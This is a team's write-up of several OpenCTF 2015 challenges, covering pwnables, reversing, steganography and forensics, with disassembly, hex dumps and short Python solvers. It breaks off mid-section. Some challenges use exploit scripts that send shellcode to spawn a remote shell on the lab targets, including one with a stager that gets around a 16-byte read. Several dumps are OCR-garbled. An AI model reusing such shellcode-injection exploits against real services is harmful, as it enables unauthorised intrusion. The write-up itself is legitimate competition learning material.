OpenCTF 2015 write-ups [vulscryptos]

vulscryptos scored 1910 pts, ranked 4th. So close!

It was great fun. Many thanks to the organizers!

	++-		++
e Cor	Rank	Team Name	Points
O8-Aug-15 19:02:01 SCOREBOARD 1 Ox8F 3410 1 2 neg9 3410 1 3 loldongs 2710 2 4 vulscryptos 1910 3 5 rpisec 1310 3 6 dcua 1260 3 7 pr0v3rbs 1210 3 8 x1p 10600 3 10 shadowcats 810 3	++- 1 9 2 1 3 4 9 5 1 6 9 7 1 8 1 9 1 10 1	0x8F neg9 loldongs vulscryptos rpisec dcua pr0v3rbs xip knightsec shadowc <u>a</u> ts	3410 2710 1960 1910 1310 1260 1210 1060 1010 810

37. Sanity Check (trivia 10)

Hack the Planet!

7. Runic Power (binary, exploitation, pwnable 200)

; int	_cdecl main(int, char **, char **)
main pr	roc near
push	ebp
mov	ebp, esp
and	esp, OFFFFFFF0h
sub	esp, 30h
mov	dword ptr [esp+14h], 0 ; offset
mov	dword ptr [esp+10h], OFFFFFFFFh ; fd
mov	dword ptr [esp+0Ch], 22h ; flags
mov	dword ptr [esp+8], 7 ; prot
mov	dword ptr [esp+4], OFFFFh ; len
mov	dword ptr [esp], 0 ; addr
call	mmap
mov	[esp+2Ch], eax
mov	dword ptr [esp+8], OFFFFh ; n
mov	dword ptr [esp+4], 0 ; c
mov	eax, [esp+2Ch]
mov	[esp], eax ; s
call	memset
mov	dword ptr [esp+8], 40h ; nbytes
mov	eax, [esp+2Ch]
mov	[esp+4], eax ; buf
mov	dword ptr [esp], 0 ; fd
call	read
mov	eax, [esp+2Ch]
call	eax
mov	eax, 0
leave	
retn	2 C C C C C C C C C C C C C C C C C C C
main er	dp

This program:

- 1. creates a new [rwx] page using mmap
- 2. reads from stdin into allocated memory

3. calls allocated address

so I just wrote this exploit code and I got a shell.

```
---
#!/usr/bin/env python
from ebil import * # https://github.com/193s/ebil
exec ebil('./runic_power', remote=('10.0.66.71', 6698))
payload = asm(shellcraft.sh())
send(payload, 0x40)
r.interactive()
---
SRSLY_this_was_trivial_for_x86
```

8. Sigil of Darkness (binary, exploitation, pwnable 200)

```
sub_4005BD proc_near
var 20= gword ptr -20h
var_14= dword ptr -14h
s= gword ptr -8
        rbp
push
        rbp, rsp
mov
        rsp, 20h
sub
        [rbp+var_14], edi
mov
mov
        [rbp+var_20], rsi
                         ; offset
        r9d. 0
mov
        r8d, OFFFFFFFFh; fd
mov
mov
        ecx, 22h
                         ; flags
        edx, 7
                         ; prot
mov
mov
        esi, OFFh
                        ; len
        edi, O
                         ; addr
mov
call
        _mmap
        [rbp+s], rax
mov
        rax, [rbp+s]
mov
mov
        edx, OFFh
                         ; n
        esi, O
                        ; c
mov
        rdi, rax
mov
                         ; s
        _memset
call
        rax, [rbp+s]
mov
        edx, 10h
                         ; nbytes
mov
        rsi, rax
                        ; buf
mov
        edi, 0
                         ; fd
mov
        _read
call
       rdx, [rbp+s]
mov
mov
        eax, 0
call
        rdx
        eax, 0
mov
leave
retn
sub 4005BD endp
```

This program looks similar to runic_power, but it only reads 0x10 bytes from stdin, so I used a stager to bypass it.

---#!/uor/bip/a

#!/usr/bin/env python
from ebil import * # https://github.com/193s/ebil

exec ebil('./sigil_of_darkness', remote=('10.0.66.72', 6611))

shellcode = asm(shellcraft.amd64.sh(), arch='amd64')

```
def a(s):
    return asm(s, arch='amd64')
payload = "
# rdi: 0
# rsi: base addr
# stager
payload += chain([
    a("mov rax, rsi"),
    a("mov edx, 0x100"),
    a("mov esi, 0x400614"),
    a("jmp rsi"),
])
send(payload, 0x10)
r.send(shellcode)
r.interactive()
```

```
So_that_might_have_given10s_moreFFRT
```

35.forbearance (reversing, binary, scripting 50)

A simple Windows binary challenge.

This binary asks me whether I agree to a "license agreement" or not. When I choose "Yes", the binary creates a bitmap image called "Y29uc3VtZXIgZW5oYW5jZW1IbnQ=". I opened the file with a binary editor, and found the flag written in plain text.

Bz BZ - Y	Y29uc3VtZXIgZW5oYW5jZW1lbnQ= (Mem)													
ファイル	ファイル(E) 編集(E) 表示(⊻) 移動(J) ツール(I) ヘルプ(H)													
🖻 🖬	× × • • • • • • • • • • • • • • • • • •	- 🚧 += 🕁 ∓ 🛓												
	+0 +1 +2 +3 +4 +5 +6 +7 +8 +9 +A +B +C +D +E +	F 0123456789ABCDEF												
006680	87 80 80 80 7F 7F 7F 80-80 80 9A 9A 9A A6 A6 A	6												
006690	92 92 92 7F 7F 7F 6F 6F-6F 7C 7C 7C 7F 7F 7F 7-	4ooo t												
0066A0	74 74 78 78 78 78 71 71 71-47 47 47 45 45 45 45 47 4	7 ttxxxqqqGGGEEEGG												
0066B0														
006600		9222UUUIIII 0 II::::DDDФФФФФФ//												
006600	43 43 63 63 63 63 50 50 50 50-24 24 24 24 24 24 30 30 50 40 40 40 50 50 50 50 50 50 50 50 50 50 44 44 4	L IIIIIPPPDDDDDD A /UUU///000111												
00000E0	57 57 57 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7	7 WWWEEEEEEIIInnn												
006700	87 87 87 87 87 87 46 00 40-00 40 00 47 00 58 00 2													
006710		0 hall we												
006720	00 70 00 31 00 40 00 79-00 20 00 40 00 20 00 6	7 .p.1.0.y0g												
006730	00 40 00 6D 00 65 00 3F-00 5D 00 A4 A4 FF FF FI	F .@.m.e.?.]												
006740	FF	F												
006750	FF	F												
006760	FF	E												
006770														
006780	FF FF B8 B8 B8 00 00 00-00 00 00 77 77 77 FF FI													
006790														
0067A0		E												
006700														
006700		E												
0067E0	FF	F												
0067F0	FF	F												
006800	FF	F												
006810	FF	F												
006820	FF	F												
006830	FF	F												
006840	FF	F												
006850	FF	F												
006860	FF	E												
006870														
006880		· · · · · · · · · · · · · · · · · · ·												
006890		<u> </u>												
	III	•												
Ready	006705-00673A 0x35(53) bytes	306,104 bytes												

FL@G[\$ha11 we p1@y @ g@me?]

34. absence (scripting, misc 200)

It looked like both C and whitespace source code, so I just put it through a C compiler and whitespace interpreter.

193s@mbp193s:~/CTF/openctf/absence\$ gcc absence.c

193s@mbp193s:~/CTF/openctf/absence\$./a.out f1@g[This is not the code you're 193s@mbp193s:~/CTF/openctf/absence\$ wspace absence.c lo0kin-fo]%

f1@g[This is not the code you're lo0kin-fo]

1. magic_eye.dat (stego, forensics 50)

The file is a PNG image.



I tried a steganography approach, and it turns out that the pixel bytes were compressed text.

```
>>> print open("magic_eye.dat", "rb").read()[41:].decode("zlib")
(snip)
BTW the flag is some_flag_goes_here
(snip)
```

some_flag_goes_here

3. Enhance (misc, forensics, CSI 50)

I found a QR code in the right eye of the woman, so I photoshopped and scanned it :)

before:



after:



Ju5tPr1ntTheDAmNTh1n6

5. much_nothing (suchforensics, verymisc, wow 100)

The text file is from the script for "Much Ado About Nothing" by Shakespeare, but some of the spaces were converted to tabs or removed. At a certain point in the text, spaces and tabs stopped appearing completely, so I thought that that the spaces and tabs were some sort of encoded data, and that the other alphametical characters didn't matter.

So, I extracted all whitespace and converted spaces to 0 and tabs to 1 in binary.

```
---
#!/usr/bin/env python
s = open("shakespeare-much-3.txt").read()
txt = "
for c in s:
    if c == ' ' or c == '\t':
        txt += str(0 if c == ' ' else 1)
#print txt
z = ("%x" % eval("0b"+txt)).decode('hex')
open("out", "w").write(z)
---
```

This gave me a zip file so I unzipped it and got flag.txt.

```
_h0m3_br3w_wh1t3_sp4c3_enC0ding_i5_ub3r_1337_
```

6. Pillars of CTF (network, crypto, binary, forensics 150)

Everything in phase1 was also in phase1.key, and phase1.key had 256 lines. So, I converted each piece of text in phase1 into the line number of phase1.key as a byte.

```
#!/usr/bin/env python
cip = open('./phase1').read().split('\n')
key = open('./phase1.key').read().split('\n')
flag = "
for c in cip:
    if c == ": continue
    t = key.index(c)
    flag += chr(t)
open('out', 'w').write(flag)
----
```

Then, I got a 64 bit ELF file; another challenge. It asked for a password, so I just `strings`ed it and got it: Banana1 Entering the password gave me two sets of long base64-encoded texts for Phase 3 and Phase 4.

Phase 3 was a pcap file with a series of tcp packets containing fragments of a png file; skipped it.

Phase 4 looked like an ELF file, but with headers and some strings modified. The errata "Key for phase four" suggested that Phase 4 was in a format that requires a key, and I supposed that this was a repeated-xor key!

00000060																						
00000070																						
00000080	38								38		42						18-			8 · B ·		
0000090	38		42														18-	B ·				
000000a0																						
00000b0																						
00000c0			42								42							B · I		- B-		
000000d0																						
000000e0			22																			
000000f0											62									· · b ·		
00000100			62						48									b · I		H		
00000110	50										22						IP-					
00000120									28											(i	
00000130	28		62						28		62						i.	b · I		(.b.		
00000140																						
00000150																						
00000160	54								54		42						i T-			T-B-		
00000170	54		42						44								IT.	B · I		D		
00000180	44																ID-					
00000190	50		76	67					6c								I P -	vg		1		
000001a0	6c		42						6c		42						11.	B I		1 · B ·		
00000160	4c								4c								ΠL-			L		
000001c0									51		76	67								Q-vg		
000001d0																						
*																						
* 000001f0																						
* 000001f0 00000200	00 52		02 76	03 67													l a-	vg				
* 000001f0 00000200 00000210	00 52 10		02 76 62	03 67 03							02 02 62						#+ R+ 	 vg∣ b.				
* 000001f0 00000200 00000210 00000220	00 52 10 f0		02 76 62 02	03 67 03 03							02 02 62 02						#+ R+ 	vg b				
* 000001f0 00000200 00000210 00000220 00000230	00 52 10 f0 01		02 76 62 02 02	03 67 03 03 03					10 10 10 f0 2f	01 0f 0f 00 6d	02 02 62 02 6b	03 03 03 03 03 61	00 00 00 00 36	01 01 01 01 35	02 02 02 02 02 2d	03 03 03 03 03 6f	#+ R+ 	vg b-		 b. b.	• • • • • • • • • • • • • • • •	
* 000001f0 00000200 00000210 00000220 00000230 00000240	00 52 10 f0 01 64	01 e4 0f 01 01 2c	02 76 62 02 02 6e	03 67 03 03 03 6a	00 04 00 00 00 6e	01 01 01 01 01 74	02 02 02 02 02 02 02 7 a	03 03 03 03 03 03 2e	10 10 10 f0 2f 78	01 0f 0f 00 6d 39	02 02 62 02 6b 34	03 03 03 03 61 2e	00 00 00 36 36	01 01 01 01 35 35	02 02 02 02 02 2d 2c	03 03 03 03 6f 70	4- R- d ,	vg b- nj	 	/mka x94.	 65-0 65.p	
* 000001f0 00000200 00000220 00000220 00000230 00000240 00000250	00 52 10 f0 01 64 6f	01 e4 0f 00 01 2c 2f	02 76 62 02 02 6e 30	03 67 03 03 03 6a 03	00 04 00 00 00 6e 04	01 01 01 01 01 01 74 01	02 02 02 02 02 02 02 7a 02	03 03 03 03 03 03 2e 03	10 10 10 f0 2f 78 10	01 0f 0f 6d 39 01	02 02 62 02 6b 34 02	03 03 03 03 61 2e 03	00 00 00 36 36 36	01 01 01 35 35 01	02 02 02 02 2d 2c 02	03 03 03 03 6f 70 03	#+ R + + - + - + - d , o/	vg b- nj	•••• •••• •••• •••• ntz.	/mka x94.	 	
* 000001f0 00000200 00000220 00000220 00000230 00000240 00000250 00000250	00 52 10 f0 01 64 6f 47	01 e4 0f 01 2c 2f 4f	02 76 62 02 02 6e 30 57	03 67 03 03 03 6a 03 03	00 04 00 00 00 6e 04 00	01 01 01 01 01 01 74 01 01	02 02 02 02 02 02 7a 02 02 02	03 03 03 03 03 03 2e 03 03	10 10 10 f0 2f 78 10 02	01 0f 0f 6d 39 01 01	02 02 62 02 6b 34 02 02	03 03 03 03 61 2e 03 03	00 00 00 36 36 01 06	01 01 01 35 35 01 01	02 02 02 02 2d 2d 2c 02 02	03 03 03 03 6f 70 03 03	 R. d., G0	vg b- nj Θ- W-	 ntz.	/mka x94.	65-ol	
* 000001f0 00000200 00000210 00000230 00000230 00000250 00000250 00000250 00000250	00 52 10 f0 01 64 6f 47 18	01 e4 0f 01 2c 2f 4f 01	02 76 62 02 02 6e 30 57 02	03 67 03 03 03 03 6a 03 03 03	00 04 00 00 00 6e 04 00	01 01 01 01 01 01 74 01 01	02 02 02 02 02 02 02 7a 02 02 02	03 03 03 03 03 03 2e 03 03 03 03	10 10 f0 2f 78 10 02 14	01 0f 0f 6d 39 01 01 01	02 02 62 02 6b 34 02 02 02 02	03 03 03 03 61 2e 03 03 03 03	00 00 00 36 36 01 06 03	01 01 01 35 35 01 01 01	02 02 02 02 2d 2c 02 02 02 02 02	03 03 03 6f 70 03 03 03 03 03	# R · · · · · · d , G0 · ·	 vg ηj Θ- W-	ntz.	/mka x94.	65-ol	
* 000001f0 0000200 00000210 00000220 00000230 00000240 00000250 00000250 00000250 00000250 00000250	00 52 10 f0 01 64 6f 47 18 47	01 e4 0f 01 2c 2f 4f 01 4f	02 76 62 02 02 6e 30 57 02 57	03 67 03 03 03 6a 03 03 03 03 03	00 04 00 00 00 6e 04 00 04 7b	01 01 01 01 01 74 01 01 01 01 bb	02 02 02 02 02 02 7a 02 02 02 02 3c	03 03 03 03 03 03 2e 03 03 03 03 03 bf	10 10 10 f0 2f 78 10 02 14 bc	01 0f 0f 6d 39 01 01 01 92	02 02 62 02 6b 34 02 02 02 02 02 02 ee	03 03 03 03 61 2e 03 03 03 03 83	00 00 00 36 36 01 06 03 5d	01 01 01 01 35 35 01 01 01 01 25	02 02 02 02 2d 2c 02 02 02 02 02 02	03 03 03 03 6f 70 03 03 03 03 1d	 R . d, 0/ 00 00	νg b- Μ- W-	ntz.	/mka x94.	 	
* 000001f0 00000200 00000220 00000220 00000220 00000230 00000250 00000250 00000250 00000270 00000270 00000280 00000290	00 52 10 f0 01 64 6f 47 18 47 2f	01 e4 0f 01 2c 2f 4f 01 4f 29	02 76 62 02 6e 30 57 02 57 2a	03 67 03 03 03 6a 03 03 03 03 03 03 02	00 04 00 00 6e 04 00 04 7b 19	01 01 01 01 01 74 01 01 01 bb	02 02 02 02 02 02 7a 02 02 02 02 02 02 3c 80	03 03 03 03 03 03 2e 03 03 03 03 bf 6c	10 10 f0 2f 78 10 02 14 bc 01	01 0f 0f 6d 39 01 01 01 92 01	02 02 62 02 6b 34 02 02 02 02 02 02	03 03 03 03 61 2e 03 03 03 03 83 03	00 00 00 36 36 01 06 03 5d 01	01 01 01 35 35 01 01 01 25 01	02 02 02 02 2d 2c 02 02 02 02 02 02 02	03 03 03 6f 70 03 03 03 03 1d 03	 R. d. GO GO /)	vg b nj Ø	ntz.	/mka x94.	 	
* 000001f0 00000210 00000220 00000230 00000230 00000250 00000250 00000250 00000250 00000280 00000230	00 52 10 f0 01 64 6f 47 18 47 2f 01	01 e4 0f 01 2c 2f 4f 01 4f 29 01	02 76 62 02 6e 30 57 02 57 2a 02	03 67 03 03 03 6a 03 03 03 03 03 02 03	00 04 00 00 6e 04 00 04 7b 19 00	01 01 01 01 01 01 01 01 01 01 01 01 01	02 02 02 02 02 02 7a 02 02 02 02 02 02 02 02 02 02 02	03 03 03 03 03 03 03 03 03 03 03 03 03 0	10 10 10 2f 78 10 02 14 bc 01 00	01 0f 00 6d 39 01 01 92 01	02 02 62 02 6b 34 02 02 02 02 02 02 02	03 03 03 03 61 2e 03 03 03 03 03 03 03 03 03 03 03	00 00 00 36 36 36 01 06 03 5d 01 00	01 01 01 01 01 35 35 01 01 01 01 01 01	02 02 02 02 02 02 02 02 02 02 02 02 02 0	03 03 03 6f 70 03 03 03 03 03 1d 03 03	 R. d. G0 G0 /) 	vg b- nj 0- W- W-	ntz.	/	 	
* 000001f0 00000210 00000220 00000230 00000230 00000250 00000250 00000250 00000280 00000280 00000280 00000280 00000280	00 52 10 f0 01 64 6f 47 18 47 2f 01 00	01 e4 0f 01 2c 2f 4f 01 4f 29 01	02 76 62 02 02 6e 30 57 02 57 2a 02	03 67 03 03 03 6a 03 03 03 03 03 03 03 03 03 03 03 03 03	00 04 00 00 6e 04 00 04 7b 19 00 00	01 01 01 01 01 01 01 01 01 01 01 01	02 02 02 02 02 02 02 02 02 02 02 02 02 0	03 03 03 03 03 03 03 03 03 03 03 03 03 0	10 10 10 f0 2f 78 10 02 14 bc 01 00 00	01 0f 0f 6d 39 01 01 01 92 01 01 01	02 02 02 62 02 6b 34 02 02 02 02 02 02 02	03 03 03 61 2e 03 03 03 03 03 03 03 03 03 03 03 03 03	00 00 36 36 01 06 03 5d 01 00 00	01 01 01 01 01 01 01 01 01 01 01 01	02 02 02 02 2d 2c 02 02 02 02 02 02 02 02 02	03 03 03 6f 70 03 03 03 03 03 03 03 03 03 03 03 03 03	 R. d. GO GO /) 	vg b- nj 0- W- 	ntz.	/	 65-0 65,p 	
* 000001f0 0000200 00000210 00000220 00000240 00000250 00000250 00000250 00000250 00000220 00000220 00000220 00000220 00000220	00 52 10 f0 01 64 6f 47 18 47 2f 01 00	01 e4 0f 01 2c 2f 4f 01 4f 29 01	02 76 62 02 02 6e 30 57 02 57 2a 02	03 67 03 03 03 03 03 03 03 03 03 03 03 03 03	00 04 00 00 00 6e 04 00 04 7b 19 00 00	01 01 01 01 01 01 01 01 01 01 01 01	02 02 02 02 02 02 02 02 02 02 02 02 3c 80 02 02	03 03 03 03 03 03 03 03 03 03 03 05 03 03	10 10 f0 2f 78 10 02 14 bc 01 00 00	01 0f 00 6d 39 01 01 01 01 01 01	02 02 02 62 02 6b 34 02 02 02 02 02 02 02	03 03 03 03 61 2e 03 03 03 03 03 03 03	00 00 36 36 01 06 03 5d 01 00 00	01 01 01 35 35 01 01 01 01 01 01 01	02 02 02 02 2d 2c 02 02 02 02 02 02 02 02 02	03 03 03 6f 70 03 03 03 03 1d 03 03 03	 R. d. d. GO GO /) 	vg b- nj 0- W- *-	ntz.	/mka x94.	 65-0 65,p 	
000001f0 00000200 00000210 00000230 00000230 00000250 00000050 0000000000	00 52 10 f0 01 64 6f 47 18 47 2f 01 00 0b	01 e4 0f 01 2c 2f 4f 01 4f 29 01 01	02 76 62 02 6e 30 57 02 57 2a 02 02 02 02	03 67 03 03 03 03 03 03 03 03 03 03 03 03 03	00 04 00 00 6e 04 00 04 7b 19 00 00 12	01 01 01 01 01 01 01 01 01 01 01 01 01	02 02 02 02 02 02 02 02 02 02 02 02 02 0	03 03 03 03 03 03 03 03 03 03 03 03 03 0	10 10 10 f0 2f 78 10 02 14 bc 01 00 00 00	01 0f 0f 6d 39 01 01 01 01 01 01 01	02 02 62 02 6b 34 02 02 02 02 02 02 02 02 02	03 03 03 03 03 61 2e 03 03 03 03 03 03 03 03 03 03	00 00 00 36 36 01 06 03 5d 01 00 00 00	01 01 01 01 35 35 01 01 01 01 01 01 01	02 02 02 02 02 02 02 02 02 02 02 02 02 0	03 03 03 03 03 6f 70 03 03 03 03 03 03 03 03	 R. d. d. d. d. d. 	vg b- nj 0- W- *.	ntz.	/mka x94.	65-o 65-o 65,p 	
* 000001f0 00000200 00000210 00000220 00000240 00000250 00000250 00000250 00000250 00000220 00000220 00000220 *	00 52 10 f0 01 64 6f 47 18 47 2f 01 00 00 00	01 e4 0f 01 2c 2f 4f 01 4f 29 01 01 01	02 76 62 02 6e 30 57 2a 02 57 2a 02 02 02	03 67 03 03 03 03 03 03 03 03 03 03 03 03 03	00 04 00 00 6e 04 00 04 7b 19 00 00 12	01 01 01 01 01 01 01 01 01 01 01 01	02 02 02 02 02 02 02 02 02 02 02 02 02 0	03 03 03 03 03 03 03 03 03 03 03 03 03 0	10 10 10 f0 2f 78 10 02 14 bc 01 00 00 00 2d	01 0f 0f 6d 39 01 01 01 01 01 01	02 02 02 62 02 6b 34 02 02 02 02 02 02 02 02	03 03 03 03 03 61 2e 03 03 03 03 03 03 03 03 03	00 00 00 36 36 01 06 03 5d 01 00 00 00 00 00 00 00 00	01 01 01 35 35 01 01 01 01 01 01 01 01	02 02 02 02 02 02 02 02 02 02 02 02 02 0	03 03 03 03 6f 70 03 03 03 03 03 03 03 03 03 03 03	 R. d., d., d., d., d., d., d	vg b nj W W W	ntz.	/mka x94.	65-ol 65.pl	
• 000001f0 00000200 00000210 00000210 00000210 00000220 00000250 00000250 00000220 00000230 00000230 00000230 00000230 00000240 00000240 00000240 00000240 00000240 00000240 00000240 00000240 00000240 00000240 00000240 00000250 00000000 00000000 0000000000	00 52 10 f0 01 64 6f 47 18 47 2f 01 00 00 00 00	01 e4 0f 01 2c 2f 4f 01 4f 01 4f 01 01 01 01	02 76 62 02 02 6e 30 57 02 57 2a 02 02 02 02 02	03 67 03 03 03 03 03 03 03 03 03 03 03 03 03	00 04 00 00 00 00 04 00 04 7b 19 00 00 12 00	01 01 01 01 01 01 01 01 01 01 01 01	02 02 02 02 02 02 02 02 02 02 02 02 02 0	03 03 03 03 03 03 03 03 03 03 03 03 03 0	10 10 10 70 2f 78 10 02 14 bc 01 00 00 2d 00 2d 00	01 0f 0f 6d 39 01 01 01 01 01 01 01 01	02 02 62 02 6b 34 02 02 02 02 02 02 02 02 02 02 02 02 02	03 03 03 03 03 61 2e 03 03 03 03 03 03 03 03 03 03 03 03	00 00 00 36 36 01 06 03 5d 01 00 00 00 12 00	01 01 01 01 01 01 01 01 01 01 01 01 01	02 02 02 02 02 02 02 02 02 02 02 02 02 0	03 03 03 03 6f 70 03 03 03 03 03 03 03 03 03 03 03	 R. d., 0/ G0 	vg b- W- W- 	ntz.	/mka x94.	65-0 65,p 	
* 000001f0 00000210 00000210 00000220 00000220 00000250 00000250 00000250 00000250 00000220 00000220 00000220 * 00000220 00000220 00000220 00000220	00 52 10 f0 01 64 6f 47 18 47 2f 01 00 00 00 00 2b	01 e4 0f 01 2c 2f 4f 01 4f 29 01 01 01 01	02 76 62 02 02 6e 30 57 2a 02 57 2a 02 02 02 02 02 02 02	03 67 03 03 03 03 03 03 03 03 03 03 03 03 03	00 04 00 00 00 6e 04 00 04 7b 19 00 00 00 12 00 00 12	01 01 01 01 01 01 01 01 01 01 01 01 01 0	02 02 02 02 02 02 02 02 02 02 02 02 02 0	03 03 03 03 03 03 03 03 03 03 03 03 03 0	10 10 10 f0 2f 78 10 02 14 bc 01 00 00 2d 00 00 2d	01 0f 0f 00 6d 39 01 01 01 01 01 01 01 01	02 02 02 62 02 6b 34 02 02 02 02 02 02 02 02 02 02 02 02 02	03 03 03 03 03 61 2e 03 03 03 03 03 03 03 03 03 03 03 03 03	00 00 00 36 36 01 06 03 5d 01 00 00 00 12 00 00	01 01 01 01 01 01 01 01 01 01 01 01 01 0	02 02 02 02 02 02 02 02 02 02 02 02 02 0	03 03 03 03 6f 70 03 03 03 03 03 03 03 03 03 03 03 03 03	 R 	νg b- nj θ- W- W- 	ntz.	/mka x94.	65-ol 65,pl	
000001f0 00000200 00000200 00000200 0000020 00000200 00000200 00000200 00000200 00000200 00000200 00000200 00000200 00000200 00000200 00000200 00000200 00000200 00000200 00000200 00000200	00 52 10 f0 01 64 6f 47 18 47 2f 01 00 00 2b 00 00 2b	01 e4 0f 01 2c 2f 4f 01 4f 01 01 01 01 01 01	02 76 62 02 02 6e 30 57 2a 02 02 02 02 02 02 02 02 02 02 02	03 67 03 03 03 03 03 03 03 03 03 03 03 03 03	00 04 00 00 00 6e 04 00 04 7b 19 00 00 00 12 00 00 12 00	01 01 01 01 01 01 01 01 01 01 01 01 01 0	02 02 02 02 02 02 02 02 02 02 02 02 02 0	03 03 03 03 03 03 03 03 03 03 03 03 03 0	10 10 10 f0 2f 78 10 02 14 bc 01 00 00 2d 00 00 2d 00 00 19 90	01 0f 0f 00 6d 39 01 01 01 01 01 01 01 01 01	02 02 02 62 02 6b 34 02 02 02 02 02 02 02 02 02 02 02 02 02	03 03 03 03 03 61 2e 03 03 03 03 03 03 03 03 03 03 03 03 03	00 00 00 36 36 01 06 03 5d 01 00 00 12 00 00 12 00 00 12	01 01 01 01 01 01 01 01 01 01 01 01 01 0	02 02 02 02 02 02 02 02 02 02 02 02 02 0	03 03 03 03 6f 70 03 03 03 03 03 03 03 03 03 03 03 03 03	 R 	vg b- nj 0- W- W- *- 	ntz.	/mka x94.	65-ol 65,pl 	
**************************************	00 52 10 f0 01 64 6f 47 18 47 2f 01 00 00 2b 00 00 00 00	01 e4 0f 01 2c 2f 4f 01 4f 01 01 01 01 01 01 01	02 76 62 02 6e 30 57 2a 02 57 2a 02 02 02 02 02 02 02 02 02	03 67 03 03 03 03 03 03 03 03 03 03 03 03 03	00 04 00 00 6e 04 04 7b 19 00 00 00 12 00 00 12 00 00	01 01 01 01 01 01 01 01 01 01 01 01 01 0	02 02 02 02 02 02 02 02 02 02 02 02 02 0	03 03 03 03 03 03 03 03 03 03 03 03 03 0	10 10 10 f0 2f 78 10 02 14 bc 01 00 00 2d 00 00 2d 00 19 00	01 0f 0f 6d 39 01 01 01 01 01 01 01 01 01	02 02 02 62 02 6b 34 02 02 02 02 02 02 02 02 02 02 02 02 02	03 03 03 03 03 03 03 03 03 03 03 03 03 0	00 00 00 36 36 01 06 03 5d 01 00 00 12 00 00 12 00 00 12 00 00	01 01 01 01 01 01 01 01 01 01 01 01 01 0	02 02 02 02 02 02 02 02 02 02 02 02 02 0	03 03 03 03 03 03 03 03 03 03 03 03 03 0	, R. , .	vg b- nj 0- W- *	ntz.	/mka x94.	65-0 65,pl	

I noticed that 00010203 appears repeatedly, so I figured it must be a repeated-xor key.

---#!/usr/bin/env python

f = open("4").read() key = '\x00\x01\x02\x03'

print ".join([chr(ord(f[i])^ord(key[i%len(key)])) for i in xrange(len(f))])

Ltracing the ELF Binary I got gave me the flag :)

master@ubuntu:~/CTF/openctf/pillars/stage2/4\$./elf

```
I'm thinking of a key...
master@ubuntu:~/CTF/openctf/pillars/stage2/4$ Itrace ./elf
libc start main(0x4007c0, 1, 0x7ffed1456188, 0x400820 <unfinished ...>
memcpy(0x7ffed1456070,
"\2677\226\256\366\302\372\357\020]5\335\212\346\332\340-\243\304\v\271:x\333\245\0\0\
0\0\0\0\0"..., 42) = 0x7ffed1456070
memcpy(0x7ffed1456010,
"\nX\031\366\354a\315\027\0237\027\306\205\033YL@J\274}\233)g\234R\0\0\0\0\0\0\0\0\"...,
42) = 0x7ffed1456010
memcpy(0x7ffed1455f80,
"\351\035\372=E\353^\210p\036Gi|\242\326\337\b\265:\023Vrr&\217\0\0\0\0\0\0\0\0"..., 42) =
0x7ffed1455f80
strlen("The key is: %s\n")
                                                                    = 15
snprintf("The key is: True Hipsters Use Be"..., 55, "The key is: %s\n",
"True_Hipsters_Use_Betamax") = 38
printf("I'm thinking of a key...\n"I'm thinking of a key...
                                      = 25
)
+++ exited (status 0) +++
```

True_Hipsters_Use_Betamax

2. moonwalk (forensics, reversing 50)

e.	9840h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
	9850h:	00	00	00	00	00	00	00	00	00	00	00	AO	08	EE	AF	FE	îp
=	9860h:	90	80	00	00	00	01	01	C1	EC	00	00	03	E8	04	00	00	.€Áìè
-	9870h:	03	E8	04	01	00	0B	78	75	53	A9	AD	3D	53	A9	AD	26	.èxuS©-=S©-&
	9880h:	03	00	09	54	55	66	69	6C	65	2E	73	79	73	74	65	6D	TUfile.system
	9890h:	00	10	00	0B	02	00	00	00	00	00	98	02	B8	04	B2	8F	· · · · · · · · · · · · · · · · · · ·
	98A0h:	44	D8	4E	BD	00	08	00	00	00	14	04	03	4B	50			DØN5KP

Opening the file in a binary editor shows that this was a "reversed" PK (= ZIP) file. Uncompressed reversed file and read metsys.elif.

1FF:FDF0h:	00	00	00	00	00	00	00	00	00	00	00	00	FF	FF	FF	F8	ÿÿÿø
1FF:FE00h:	AA	55	00	00	00	00	00	00	00	00	00	00	00	00	00	00	² Ū
1FF:FE10h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
1FF:FE20h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
1FF:FE30h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
4 555 555 4 61	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	

This was a reversed disk image, so I reversed it again and opened it with Autopsy. This gave me a file called "txt.galf". "txt.galf" is the reverse of "flag.txt", so...

"txt.galf" looks like this: \$ xxd txt.galf 0000000: f597 4377 16f5 b613 4377 f546 e616 f544 ...Cw....Cw.F...D 0000010: e657 0327 14f5 e627 5773 f573 5357 a6f5 .W.'...'Ws.sSW..

After a few tries, I noticed that if I swap the 4 lower bits with the 4 higher bits of each byte, every byte would become an ASCII character. \$ xxd flag.txt 0000000: 5f79 3477 615f 6b31 3477 5f64 6e61 5f44 _y4wa_k14w_dna_D 0000010: 6e75 3072 415f 6e72 7537 5f37 3575 6a5f nu0rA_nru7_75uj_ Hmm, just one more step. Reverse the string and.... \$ cat flag.txt | rev | xxd 0000000: 5f6a 7535 375f 3775 726e 5f41 7230 756e _ju57_7urn_Ar0un 0000010: 445f 616e 645f 7734 316b 5f61 7734 795f D_and_w41k_aw4y_

Here's the flag. _ju57_7urn_Ar0unD_and_w41k_aw4y_

27. Witches Cat (binary, exploitation, pwnable 350)

Giving a very long name to `Cat` gave me the flag :)

```
---
#!/usr/bin/env python
from ebil import * # https://github.com/193s/ebil
exec ebil('./witches cat', remote=('10.0.66.73', 6604))
def cmd(cmd):
 print r.recvuntil('# ')
 r.sendline(cmd)
def scoop(): cmd('scoop')
def addCat(): cmd('addCat')
def removeCat(): cmd('removeCat')
def cmd exit(): cmd('exit')
def nameCat(name):
 cmd('nameCat %s' % name)
addCat()
removeCat()
print r.recv()
---
hur_hurr_hurr_MEOW_AAAA
```

22. blackSmoke - highLow

(exploitation, binary, reversing, pwnable 300)

An ELF binary challenge.

After doing some reverse-engineering with IDA, I found that the executable follows 7 steps described below:

1. Connect to 10.0.66.77:11113, send "BLSS\x02", and receive machine code for DRM.

2. Execute code received in Step 1.

3. Connect to 10.0.66.76:11112, send "GETGAMES\n", and receive machine code which lists games available.

4. Execute code received in Step 3.

5. Ask the player to choose a game. ("highLow" is the only option.)

6. Connect to 10.0.66.76:11112 again to send player's choice and receive machine code for the game.

7. Execute code received in Step 6.

I dumped the code received at Step 1, 3, and 6, and opened them with IDA.

In the code received in Step 6:

```
---
